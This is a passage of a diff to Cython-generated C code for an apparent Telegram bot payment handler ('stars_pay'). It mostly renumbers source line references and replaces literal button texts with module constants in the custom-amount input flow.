__pyx_L3_error) } } else if (unlikely(__pyx_nargs != 2)) { goto __pyx_L5_argtuple_error; @@ -7026,7 +7021,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds } goto __pyx_L6_skip; __pyx_L5_argtuple_error:; - __Pyx_RaiseArgtupleInvalid("process_enter_custom_amount", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 189, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("process_enter_custom_amount", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 191, __pyx_L3_error) __pyx_L6_skip:; goto __pyx_L4_argument_unpacking_done; __pyx_L3_error:; @@ -7065,7 +7060,7 @@ static PyObject *__pyx_pf_8handlers_8payments_9stars_pay_12process_enter_custom_ if (unlikely(!__pyx_cur_scope)) { __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_4_process_enter_custom_amount *)Py_None); __Pyx_INCREF(Py_None); - __PYX_ERR(0, 189, __pyx_L1_error) + __PYX_ERR(0, 191, __pyx_L1_error) } else { __Pyx_GOTREF((PyObject *)__pyx_cur_scope); } @@ -7076,7 +7071,7 @@ static PyObject *__pyx_pf_8handlers_8payments_9stars_pay_12process_enter_custom_ __Pyx_INCREF(__pyx_cur_scope->__pyx_v_state); __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_state); { - __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_9stars_pay_14generator4, __pyx_codeobj__21, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_enter_custom_amount, __pyx_n_s_process_enter_custom_amount, __pyx_n_s_handlers_payments_stars_pay); if (unlikely(!gen)) __PYX_ERR(0, 189, __pyx_L1_error) + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_9stars_pay_14generator4, __pyx_codeobj__15, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_enter_custom_amount, __pyx_n_s_process_enter_custom_amount, __pyx_n_s_handlers_payments_stars_pay); if (unlikely(!gen)) __PYX_ERR(0, 191, __pyx_L1_error) __Pyx_DECREF(__pyx_cur_scope); __Pyx_RefNannyFinishContext(); return (PyObject *) gen; @@ -7116,9 +7111,9 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_14generator4(__pyx_Coro return NULL; } __pyx_L3_first_run:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 189, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 191, __pyx_L1_error) - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 191, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 193, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = NULL; __pyx_t_4 = 0; @@ -7138,7 +7133,7 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_14generator4(__pyx_Coro PyObject *__pyx_callargs[2] = {__pyx_t_3, NULL}; __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 191, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 193, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } @@ -7146,15 +7141,18 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_14generator4(__pyx_Coro __pyx_cur_scope->__pyx_v_builder = __pyx_t_1; __pyx_t_1 = 0; - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 192, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 194, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 192, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 194, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_5 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 192, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 194, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); - if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_text, __pyx_kp_u__22) < 0) __PYX_ERR(0, 192, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_callback_data, __pyx_n_u_back_to_pay_stars) < 0) __PYX_ERR(0, 192, __pyx_L1_error) - __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 192, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_BACK); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 194, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_text, __pyx_t_6) < 0) __PYX_ERR(0, 194, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_callback_data, __pyx_n_u_back_to_pay_stars) < 0) __PYX_ERR(0, 194, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 194, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; @@ -7177,24 +7175,28 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_14generator4(__pyx_Coro __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 192, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 194, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 194, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 196, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 195, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 197, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 195, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 197, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_target_message, __pyx_t_6) < 0) __PYX_ERR(0, 195, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_target_message, __pyx_t_6) < 0) __PYX_ERR(0, 197, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_text, __pyx_kp_u__23) < 0) __PYX_ERR(0, 195, __pyx_L1_error) - __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 197, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_ENTER_SUM); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 198, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_text, __pyx_t_6) < 0) __PYX_ERR(0, 197, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 199, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_3 = NULL; __pyx_t_4 = 0; @@ -7214,14 +7216,14 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_14generator4(__pyx_Coro PyObject *__pyx_callargs[2] = {__pyx_t_3, NULL}; __pyx_t_6 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; - if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 197, __pyx_L1_error) + if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 199, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_reply_markup, __pyx_t_6) < 0) __PYX_ERR(0, 195, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_reply_markup, __pyx_t_6) < 0) __PYX_ERR(0, 197, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 194, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 196, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; @@ -7236,20 +7238,20 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_14generator4(__pyx_Coro __pyx_generator->resume_label = 1; return __pyx_r; __pyx_L4_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 194, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 196, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 194, __pyx_L1_error) + else __PYX_ERR(0, 196, __pyx_L1_error) } } - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 200, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 202, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 200, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 202, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_entering_custom_amount_stars); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 200, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_entering_custom_amount_stars); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 202, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; @@ -7271,7 +7273,7 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_14generator4(__pyx_Coro __pyx_t_6 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 200, __pyx_L1_error) + if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 202, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } @@ -7286,12 +7288,12 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_14generator4(__pyx_Coro __pyx_generator->resume_label = 2; return __pyx_r; __pyx_L5_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 200, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 202, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 200, __pyx_L1_error) + else __PYX_ERR(0, 202, __pyx_L1_error) } } CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); @@ -7377,7 +7379,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 203, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 205, __pyx_L3_error) else goto __pyx_L5_argtuple_error; CYTHON_FALLTHROUGH; case 1: @@ -7385,14 +7387,14 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 203, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 205, __pyx_L3_error) else { - __Pyx_RaiseArgtupleInvalid("process_custom_amount_input", 1, 2, 2, 1); __PYX_ERR(0, 203, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("process_custom_amount_input", 1, 2, 2, 1); __PYX_ERR(0, 205, __pyx_L3_error) } } if (unlikely(kw_args > 0)) { const Py_ssize_t kwd_pos_args = __pyx_nargs; - if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_custom_amount_input") < 0)) __PYX_ERR(0, 203, __pyx_L3_error) + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_custom_amount_input") < 0)) __PYX_ERR(0, 205, __pyx_L3_error) } } else if (unlikely(__pyx_nargs != 2)) { goto __pyx_L5_argtuple_error; @@ -7405,7 +7407,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds } goto __pyx_L6_skip; __pyx_L5_argtuple_error:; - __Pyx_RaiseArgtupleInvalid("process_custom_amount_input", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 203, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("process_custom_amount_input", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 205, __pyx_L3_error) __pyx_L6_skip:; goto __pyx_L4_argument_unpacking_done; __pyx_L3_error:; @@ -7444,7 +7446,7 @@ static PyObject *__pyx_pf_8handlers_8payments_9stars_pay_15process_custom_amount if (unlikely(!__pyx_cur_scope)) { __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_5_process_custom_amount_input *)Py_None); __Pyx_INCREF(Py_None); - __PYX_ERR(0, 203, __pyx_L1_error) + __PYX_ERR(0, 205, __pyx_L1_error) } else { __Pyx_GOTREF((PyObject *)__pyx_cur_scope); } @@ -7455,7 +7457,7 @@ static PyObject *__pyx_pf_8handlers_8payments_9stars_pay_15process_custom_amount __Pyx_INCREF(__pyx_cur_scope->__pyx_v_state); __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_state); { - __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_9stars_pay_17generator5, __pyx_codeobj__24, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_custom_amount_input, __pyx_n_s_process_custom_amount_input, __pyx_n_s_handlers_payments_stars_pay); if (unlikely(!gen)) __PYX_ERR(0, 203, __pyx_L1_error) + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_9stars_pay_17generator5, __pyx_codeobj__16, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_custom_amount_input, __pyx_n_s_process_custom_amount_input, __pyx_n_s_handlers_payments_stars_pay); if (unlikely(!gen)) __PYX_ERR(0, 205, __pyx_L1_error) __Pyx_DECREF(__pyx_cur_scope); __Pyx_RefNannyFinishContext(); return (PyObject *) gen; @@ -7517,11 +7519,11 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_17generator5(__pyx_Coro return NULL; } __pyx_L3_first_run:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 203, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 205, __pyx_L1_error) - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_text); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 205, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_text); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 207, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_isdigit); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 205, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_isdigit); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 207, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; @@ -7542,49 +7544,49 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_17generator5(__pyx_Coro PyObject *__pyx_callargs[2] = {__pyx_t_2, NULL}; __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 205, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 207, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } - __pyx_t_5 = __Pyx_PyObject_IsTrue(__pyx_t_1); if (unlikely((__pyx_t_5 < 0))) __PYX_ERR(0, 205, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyObject_IsTrue(__pyx_t_1); if (unlikely((__pyx_t_5 < 0))) __PYX_ERR(0, 207, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__pyx_t_5) { - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_text); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 206, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_text); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 208, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_3 = __Pyx_PyNumber_Int(__pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 206, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyNumber_Int(__pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 208, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GIVEREF(__pyx_t_3); __pyx_cur_scope->__pyx_v_amount = __pyx_t_3; __pyx_t_3 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_RUB_TO_XTR); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 207, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_RUB_TO_XTR); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 209, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_1 = PyNumber_FloorDivide(__pyx_cur_scope->__pyx_v_amount, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 207, __pyx_L1_error) + __pyx_t_1 = PyNumber_FloorDivide(__pyx_cur_scope->__pyx_v_amount, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 209, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = PyObject_RichCompare(__pyx_t_1, __pyx_int_0, Py_LE); __Pyx_XGOTREF(__pyx_t_3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 207, __pyx_L1_error) + __pyx_t_3 = PyObject_RichCompare(__pyx_t_1, __pyx_int_0, Py_LE); __Pyx_XGOTREF(__pyx_t_3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 209, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_t_5 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely((__pyx_t_5 < 0))) __PYX_ERR(0, 207, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely((__pyx_t_5 < 0))) __PYX_ERR(0, 209, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; if (__pyx_t_5) { - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_answer); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 208, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_answer); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 210, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = PyTuple_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 209, __pyx_L1_error) + __pyx_t_2 = PyTuple_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 211, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_6 = 0; __pyx_t_7 = 127; - __Pyx_INCREF(__pyx_kp_u__25); + __Pyx_INCREF(__pyx_kp_u__17); __pyx_t_7 = (65535 > __pyx_t_7) ? 65535 : __pyx_t_7; __pyx_t_6 += 25; - __Pyx_GIVEREF(__pyx_kp_u__25); - PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_kp_u__25); - __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_RUB_TO_XTR); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 209, __pyx_L1_error) + __Pyx_GIVEREF(__pyx_kp_u__17); + PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_kp_u__17); + __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_RUB_TO_XTR); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 211, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); - __pyx_t_9 = __Pyx_PyObject_FormatSimple(__pyx_t_8, __pyx_empty_unicode); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 209, __pyx_L1_error) + __pyx_t_9 = __Pyx_PyObject_FormatSimple(__pyx_t_8, __pyx_empty_unicode); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 211, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __pyx_t_7 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_9) > __pyx_t_7) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_9) : __pyx_t_7; @@ -7592,12 +7594,12 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_17generator5(__pyx_Coro __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_2, 1, __pyx_t_9); __pyx_t_9 = 0; - __Pyx_INCREF(__pyx_kp_u__26); + __Pyx_INCREF(__pyx_kp_u__18); __pyx_t_7 = (65535 > __pyx_t_7) ? 65535 : __pyx_t_7; __pyx_t_6 += 36; - __Pyx_GIVEREF(__pyx_kp_u__26); - PyTuple_SET_ITEM(__pyx_t_2, 2, __pyx_kp_u__26); - __pyx_t_9 = __Pyx_PyUnicode_Join(__pyx_t_2, 3, __pyx_t_6, __pyx_t_7); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 209, __pyx_L1_error) + __Pyx_GIVEREF(__pyx_kp_u__18); + PyTuple_SET_ITEM(__pyx_t_2, 2, __pyx_kp_u__18); + __pyx_t_9 = __Pyx_PyUnicode_Join(__pyx_t_2, 3, __pyx_t_6, __pyx_t_7); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 211, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; @@ -7619,7 +7621,7 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_17generator5(__pyx_Coro __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 208, __pyx_L1_error) + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 210, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } @@ -7634,12 +7636,12 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_17generator5(__pyx_Coro __pyx_generator->resume_label = 1; return __pyx_r; __pyx_L6_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 208, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 210, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 208, __pyx_L1_error) + else __PYX_ERR(0, 210, __pyx_L1_error) } } @@ -7649,12 +7651,12 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_17generator5(__pyx_Coro } - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_update_data); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 213, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_update_data); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 215, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 213, __pyx_L1_error) + 